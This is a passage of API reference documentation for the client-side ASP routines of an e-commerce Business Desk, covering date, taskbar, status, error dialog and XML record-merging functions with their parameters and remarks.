A number representing the month portion of the specified date string. A return value of –1 indicates an error.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetDay (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


nGetYear (client-side)

Use this routine to retrieve the year portion of a specified date string, returned as a four-digit number.

Definition

function nGetYear(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the year is retrieved.

Return Value

A number representing the year portion of the specified date string. A return value of –1 indicates an error.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


OpenEditPage (client-side)

Use this routine to display a nested edit page in a new frame, hiding the frame of the calling edit page. This routine also records the callback routine to be invoked when the nested edit page is closed.

Definition

sub OpenEditPage(sPage,
                 fnCallback)

Parameters

sPage
The URL of the nested edit page, including any appended arguments. The URL can be relative or absolute.
fnCallback
The name of a callback routine to be invoked when the nested edit page is closed.

Return Value

None.

Remarks

Since this routine does not support posting to a form, any arguments needed by the nested edit page must be appended to its URL.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

OpenHelp (client-side)

dGetServerState (client-side)

dSetServerState (client-side)

dClearServerState (client-side)

Server-Side Routines


OpenHelp (client-side)

Use this routine to open the help window to the specified topic.

Definition

sub OpenHelp(sHelpTopicPage)

Parameters

sHelpTopicPage
The (pathless) name of the help topic page in the folder 'bizdesk\docs\htm'.

Return Value

None.

Remarks

If the topic string is empty, the help window is opened to the initial page.

The name of the help topic page must include the '.htm' extension.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

Server-Side Routines


RemoveClass (client-side)

Use this routine to remove a class from the space-delimited list of classes associated with the className attribute of a specific HTML element.

Definition

sub RemoveClass(elItem,
                sClass)

Parameters

elItem
The HTML element for which the specified class will be removed.
sClass
A string containing the name of the class to be removed from the specified HTML element.

Return Value

None.

Remarks

The specified class is removed from the existing set of classes without affecting any of the other classes.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

AddClass (client-side)

bHasClass (client-side)

ReplaceClass (client-side)

Server-Side Routines


ReplaceClass (client-side)

Use this routine to replace one class with another class in the space-delimited list of classes associated with the className attribute of a specific HTML element.

Definition

sub ReplaceClass(elItem,
                 sOldClass,
                 sNewClass)

Parameters

elItem
The HTML element for which a new class will replace an existing class.
sOldClass
A string containing the name of the class being replaced in the specified HTML element.
sNewClass
A string containing the name of the class to replace the class specified by the sOldClass parameter.

Return Value

None.

Remarks

The new class replaces the specified old class without affecting any other existing classes.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

AddClass (client-side)

bHasClass (client-side)

RemoveClass (client-side)

Server-Side Routines


ResetSaveBtns (client-side)

Enables or disables the save buttons (Save, SaveBack, and SaveNew) based on the current dirty, valid, and required states.

Definition

sub ResetSaveBtns()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is automatically called by the routines SetDirty, SetRequired, and SetValid after they update their corresponding flags.

If the page is not marked as dirty and all required data is present and valid, the save buttons are enabled. Otherwise they are disabled.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetDirty (client-side)

SetRequired (client-side)

SetValid (client-side)

Server-Side Routines


SetDirty (client-side)

Use this routine to set the dirty flag for the page and set a confirmation message to be displayed in the event that the page is closed without having been saved.

Definition

sub SetDirty(sConfirmMsg)

Parameters

sConfirmMsg
A string containing a confirmation message phrased as "Save XXX before exiting?" For example, "Save product description before exiting?"

Return Value

None.

Remarks

There are three common ways in which this routine can be called:

  • Directly from script code on the page when the page logic determines that something must be saved before the page is closed.
  • As the handler of the OnChange event of the master EditSheet for the page (set as an attribute of the container element of the EditSheet HTC):
    onchange='SetDirty("Save product description before exiting?")'
  • From within the handler of the OnChange event of the master EditSheet for the page.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetRequired (client-side)

SetValid (client-side)

Server-Side Routines


SetFindByHeight (client-side)

This routine sets the height of the find pane to the specified number of pixels.

Definition

sub SetFindByHeight(nNewHeight)

Parameters

nNewHeight
An integer that specifies a new height, in pixels, for the find pane.

Return Value

None.

Remarks

The default height of the find pane is 55 pixels.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideFindBy (client-side)

ShowFindBy (client-side)

Server-Side Routines


SetPageTitleText (client-side)

Use this routine to display specific text in the title bar of the page.

Definition

sub SetPageTitleText(sText)

Parameters

sText
A string containing text to be displayed in the title bar of the page.

Return Value

None.

Remarks

The page title to be displayed cannot contain HTML tags.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

SetStatusText (client-side)

SetWaitDisplayText (client-side)

Server-Side Routines


SetPubRequired (client-side)

Use this routine to set the "publication required" flag so that a warning dialog displays if the user exits Business Desk without publishing the data changes.

Definition

sub SetPubRequired(sModule,
                   bRequired)

Parameters

sModule
A string that contains the name of the module for which the "publication required" flag will be set.
bRequired
A Boolean value that specifies whether or not publication is required. A value of True indicates that data changes requiring publication have been made. A value of False indicates that no such changes have been made since the last publication operation.

Return Value

None.

Remarks

Normally, this routine should be called with the bRequired parameter set to True when data changes requiring publication have been made, and called with the bRequired parameter set to False after a publication operation.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

bGetPubRequired (client-side)

Server-Side Routines


SetRequired (client-side)

Use this routine to set the required flag for the page and set a warning message to be displayed in the event that an attempt is made to save the page when one or more required fields are empty.

Definition

sub SetRequired(sWarnMsg)

Parameters

sWarnMsg
A string containing a warning message phrased as "You have made incomplete changes to properties. Click 'OK' to discard the changes and exit."

Return Value

None.

Remarks

There are two common ways in which this routine can be called:

  • As the handler of the OnRequire event of the master EditSheet for the page (set as an attribute of the container element of the EditSheet HTC):
    sWarnMsg = "You have made incomplete changes to properties. " & _
           "Click 'OK' to discard the changes and exit."
. . .
onrequire="SetRequired(sWarnMsg)"
  • From within the handler of the OnRequire event of the master EditSheet for the page.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetDirty (client-side)

SetValid (client-side)

Server-Side Routines


SetStatusText (client-side)

Use this routine to display the specified text in the status area of the page.

Definition

sub SetStatusText(sText)

Parameters

sText
A string containing a status message to be displayed in the status area.

Return Value

None.

Remarks

The status message to be displayed cannot contain HTML tags.

Any status text displayed is automatically cleared after approximately 10 seconds.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

ClearStatusText (client-side)

HideStatusAnimation (client-side)

HideStatusLegend (client-side)

Server-Side Routines


SetTaskTooltip (client-side)

Use this routine to set a new tooltip for a specific task.

Definition

sub SetTaskTooltip(sID,
                   sTooltip)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.
sTooltip
A string containing the new tooltip to be associated with the specified task.

Return Value

None.

Remarks

This routine sets the title attribute of the specified task element to the specified string. This string is displayed as the tooltip for the associated task button.

The string passed as the sTooltip parameter should not contain any HTML markup directives.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetPageTitleText (client-side)

SetStatusText (client-side)

SetWaitDisplayText (client-side)

Server-Side Routines


SetTemp (client-side)

Use this routine to save a value or object in the Client State Dictionary stored in the parent frame.

Definition

sub SetTemp(sName,
            oValue)

Parameters

sName
A string used as the dictionary key for the value to be stored. This key is used for retrieval of the value at a later time.
oValue
Any Variant value (string, numeric, array, object, and so on) to be stored in the Client State Dictionary for later retrieval.

Return Value

None.

Remarks

If another value with the specified key already exists in the dictionary, it is overwritten with the new value.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ClearTemp (client-side)

GetTemp (client-side)

Server-Side Routines


SetValid (client-side)

Use this routine to set the valid flag for the page and set a warning message to be displayed in the event that an attempt is made to save the page when one or more fields have values that are not valid.

Definition

sub SetValid(sWarnMsg)

Parameters

sWarnMsg
A string containing a warning message phrased as "You have made incomplete changes to properties. Click 'OK' to discard the changes and exit."

Return Value

None.

Remarks

There are two common ways in which this routine can be called:

  • As the handler of the OnValid event of the master EditSheet for the page (set as an attribute of the container element of the EditSheet HTC):
    sWarnMsg = "You have made incomplete changes to properties. " & _
           "Click 'OK' to discard the changes and exit."
. . .
onvalid="SetValid(sWarnMsg)"
  • From within the handler of the OnValid event of the master EditSheet for the page.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetDirty (client-side)

SetRequired (client-side)

Server-Side Routines


SetWaitDisplayText (client-side)

Use this routine to set new text in the wait display.

Definition

sub SetWaitDisplayText(sWaitText)

Parameters

sWaitText
A string that contains the new text to be displayed.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideWaitDisplay (client-side)

ShowWaitDisplay (client-side)

SetStatusText (client-side)

Server-Side Routines


sFormatString (client-side)

Use this routine to insert arguments into a string in a manner similar to that used by the C++ printf function. It is useful for formatting strings in a way that is much easier to localize than some other hard-coded methods.

Definition

function sFormatString(byVal sFormat,
                             aArgs)

Parameters

sFormat

A string containing a combination of text and sequentially-numbered variables in the format %1, %2, and so forth. These variables are replaced with the elements from the corresponding positions in the aArgs array.

aArgs
An array of strings to be inserted into the string specified by the sFormat parameter, in the positions of the sequentially-numbered variables. Any extra arguments are ignored, and any extra variables in the string remain unchanged.

Return Value

A string containing the contents of the sFormat parameter with the appropriate substitutions performed.

Remarks

The following example shows how the string "A and B" is returned and assigned to the variable sFormattedString:

sFormattedString = sFormatString("%1 and %2", Array("A", "B"))

The returned string can easily be changed to "B and A" by changing the format string to "%2 and %1" (without changing the array).

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

The sFormat parameter is passed by value so that the original string is not modified.

This routine is available in the include file ActionPageUtil.asp.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sGetFormattedDate (client-side)

Server-Side Routines

sFormatString (server-side)


sGetFormattedDate (client-side)

Use this routine to create a date string out of integer values representing the day, month, and year. The string returned is in the default locale format.

Definition

function sGetFormattedDate(nYear,
                           nMonth,
                           nDay)

Parameters

nYear
A number representing the year portion of the date being constructed.
nMonth
A number representing the month portion of the date being constructed.
nDay
A number representing the day portion of the date being constructed.

Return Value

A string containing the constructed date, or an empty string if a valid date string could not be constructed.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

nGetYear (client-side)

Server-Side Routines


sGetScriptError (client-side)

Use this routine to format particular properties of the global Microsoft Visual Basic Scripting Edition (VBScript) Err object into an HTML table. The table includes the following property values from the object, in the order shown: ASPCode, number, description, source, fileName, and lineNumber. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine ShowErrorDlg.

Definition

function sGetScriptError(oErr)

Parameters

oErr
The VBScript Err object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

Script Error
Number | 0x345
Description | xxx
Source | xxx
Help file | xxx
Help context | xxx

This routine is available in the include file ActionPageUtil.asp.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sGetXMLError (client-side)

ShowErrorDlg (client-side)

Server-Side Routines

sGetADOError (server-side)

sGetASPError (server-side)

sGetErrorById (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)


sGetXMLError (client-side)

Use this routine to format particular properties of the XMLDOMParseError object into an HTML table. The table includes the following property values from the object, in the order shown: errorCode, filePos, line, linePos, reason, srcText, and URL. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine ShowErrorDlg.

Definition

function sGetXMLError(oXMLDocParseError)

Parameters

oXMLDocParseError
The XMLDOMParseError object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The XMLDOMParseError object is retrieved by calling the parseError method of an XML document.

The following is an example of the table to be displayed.

XML Error
Error code | 123
File pos | 456
Line | 789
Line pos | 123
Source text | xxx
URL | xxx

This routine is available in the include file ActionPageUtil.asp.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sGetScriptError (client-side)

ShowErrorDlg (client-side)

Server-Side Routines

sGetADOError (server-side)

sGetASPError (server-side)

sGetErrorById (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)


showContextMenu (client-side)

Displays a right-click context menu under the current mouse position. This routine should be set as the value of the onContextMenu attribute for the element to which you want to attach a context menu.

Definition

sub showContextMenu(elContextMenu,
                    sWidth)

Parameters

elContextMenu
An element formatted as a context menu.
sWidth
A string that contains a number specifying the width of the context menu. This value can contain a "px" unit suffix.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

closeContextMenu (client-side)

execTaskFromContextMenu (client-side)

toggleContextMenuHighlight (client-side)

Server-Side Routines


ShowErrorDlg (client-side)

Use this routine to display an error dialog box. The passed strings and error type specify the details of the error.

Definition

sub ShowErrorDlg(sErrorTitle,
                 sFriendlyError,
                 sErrorDetails,
                 nErrorType)

Parameters

sErrorTitle
A string to be displayed in the title bar of the error dialog box.
sFriendlyError
A string containing a plain-language description of the error that has been encountered.
sErrorDetails
A string containing details about the error that has been encountered, often formatted as an HTML table using one of the error formatting routines: sGetScriptError or sGetXMLError. This string can also be formatted using other methods.
nErrorType
A number that corresponds to the severity of the error, and which determines the type of icon displayed in the error dialog box. See Remarks for more information about constants provided for use as this parameter.

Return Value

None.

Remarks

The following constants are provided as the valid values for the nErrorType parameter:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL,

ERROR_ICON_INFORMATION, ERROR_ICON_QUESTION

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

sGetScriptError (client-side)

sGetXMLError (client-side)

Server-Side Routines

SetError (server-side)


ShowFindBy (client-side)

Use this routine to show the find pane.

Definition

sub ShowFindBy()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

HideFindBy (client-side)

SetFindByHeight (client-side)

ToggleFindBy (client-side)

Server-Side Routines


showPermissionsDialog (client-side)

Use this routine to display the permissions dialog box.

Definition

function showPermissionsDialog(sEntityID,
                               sElementID,
                               sRightID,
                               sEntityName,
                               sElementName,
                               sRightName)

Parameters

sEntityID
A string that specifies the ID of the entity for which the permissions dialog is displayed.
sElementID
A string that specifies the ID of the element for which the permissions dialog is displayed.
sRightID
A string that specifies the ID of the right for which the permissions dialog is displayed.
sEntityName
A string that specifies the display name of the entity for which the permissions dialog is displayed.
sElementName
A string that specifies the display name of the element for which the permissions dialog is displayed.
sRightName
A string that specifies the display name of the right for which the permissions dialog is displayed.

Return Value

The string returned from the routine showModalDialog.

Remarks

When changes are made in the Permissions dialog, they are automatically saved using WebDAV.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ShowErrorDlg (client-side)

Server-Side Routines


ShowWaitDisplay (client-side)

Use this routine to show the wait display.

Definition

sub ShowWaitDisplay()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideWaitDisplay (client-side)

SetWaitDisplayText (client-side)

Server-Side Routines


ShowXMLNodeErrors (client-side)

Use this routine to display information from XML error nodes in error dialog boxes.

Definition

sub ShowXMLNodeErrors(xmlErrorNodes)

Parameters

xmlErrorNodes
A collection of error nodes from an XML document.

Return Value

None.

Remarks

This routine displays one error dialog box per error node.

This routine expects XML in the format output by the server routine AddErrorNode. Usually that routine is used to add error nodes to return XML in response to a ListSheet XMLHTTP operation or a form post from the routine xmlPostFormViaXML.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

xmlPostFormViaXML (client-side)

Server-Side Routines

AddErrorNode (server-side)


sMergeGroups2 (client-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as a string containing XML tagging.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function sMergeGroups2(xmlMaster,
                       xmlDetail,
                       sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are presumably considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are presumably considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a field element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

A string that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

sMergeGroups2 (server-side)


sMergeGroups3 (client-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as a string containing XML tagging.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function sMergeGroups3(xmlMaster,
                       xmlGroup,
                       xmlDetail,
                       sMasterKeyId,
                       sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are presumably considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are presumably considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are presumably considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

A string that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

sMergeGroups3 (server-side)


toggleContextMenuHighlight (client-side)

Toggles the highlight for a context menu item. Use this routine as the value of the onHighlight and onUnhighlight attributes of a context menu element.

Definition

sub toggleContextMenuHighlight()

Parameters

None.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

closeContextMenu (client-side)

execTaskFromContextMenu (client-side)

showContextMenu (client-side)

Server-Side Routines


ToggleFindBy (client-side)

Use this routine to display or hide the find pane to the opposite of its current display state. In other words, if it is currently hidden, display it, and if it is currently displayed, hide it.

Definition

sub ToggleFindBy()

Parameters

None.

Return Value

None.

Remarks

This routine toggles the display state of the find pane by calling either the ShowFindBy routine or the HideFindBy routine, depending on the current state.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

HideFindBy (client-side)

ShowFindBy (client-side)

SetFindByHeight (client-side)

Server-Side Routines


ToggleTask (client-side)

Use this routine to toggle the enabled/disabled state of a task, changing it from enabled to disabled, or from disabled to enabled. The button for the task reflects the changed state, dimming when disabled.

Definition

sub ToggleTask(sID)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

None.

Remarks

This routine toggles the enabled/disabled state of the task by calling either the EnableTask routine or the DisableTask routine, depending on the current state.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTask (client-side)

EnableAllTasks (client-side)

EnableTask (client-side)

Server-Side Routines


xmlGetSiteTermsValue (client-side)

Use this routine to display the Site Terms Picker dialog box using a specific site terms property. A default selection can be supplied.

Definition

function xmlGetSiteTermsValue(xmlSiteTermNode,
                              sSelected)

Parameters

xmlSiteTermNode
A site terms PROPERTY element (an XML XMLDOMElement object), with its choices as subordinate ATTRIBUTE elements (also XML XMLDOMElement objects).
sSelected
A string that is matched against the displayvalue attribute of each child ATTRIBUTE element. If a match is found, that attribute initially displays as selected.

Return Value

The site terms ATTRIBUTE element (an XML XMLDOMElement object) selected by the user.

Remarks

To prevent an initial selection in the Site Terms Picker dialog box, pass a string for the sSelected parameter that does not match the displayname attribute of any of the ATTRIBUTE elements within the specified PROPERTY element.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

Server-Side Routines


xmlGetXMLDOMDoc (client-side)

Use this routine to create an XML DOMDocument object with an empty documentElement property.

Definition

function xmlGetXMLDOMDoc()

Parameters

None.

Return Value

An XML DOMDocument object with an empty documentElement property.

Remarks

The string version of the returned document has the following form:

<document />

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp.

See Also

Client-Side Routines

AddCDATANode (client-side)

AddItemNode (client-side)

Server-Side Routines

xmlGetXMLDOMDoc (server-side)


xmlMergeGroups2 (client-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both of these sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function xmlMergeGroups2(xmlMaster,
                         xmlDetail,
                         sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a field element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

An XML document that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

xmlMergeGroups2 (server-side)


xmlMergeGroups3 (client-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as an XML document.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function xmlMergeGroups3(xmlMaster,
                         xmlGroup,
                         xmlDetail,
                         sMasterKeyId,
                         sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

An XML DOMDocument object that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to create two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroupsByID2 (client-side)

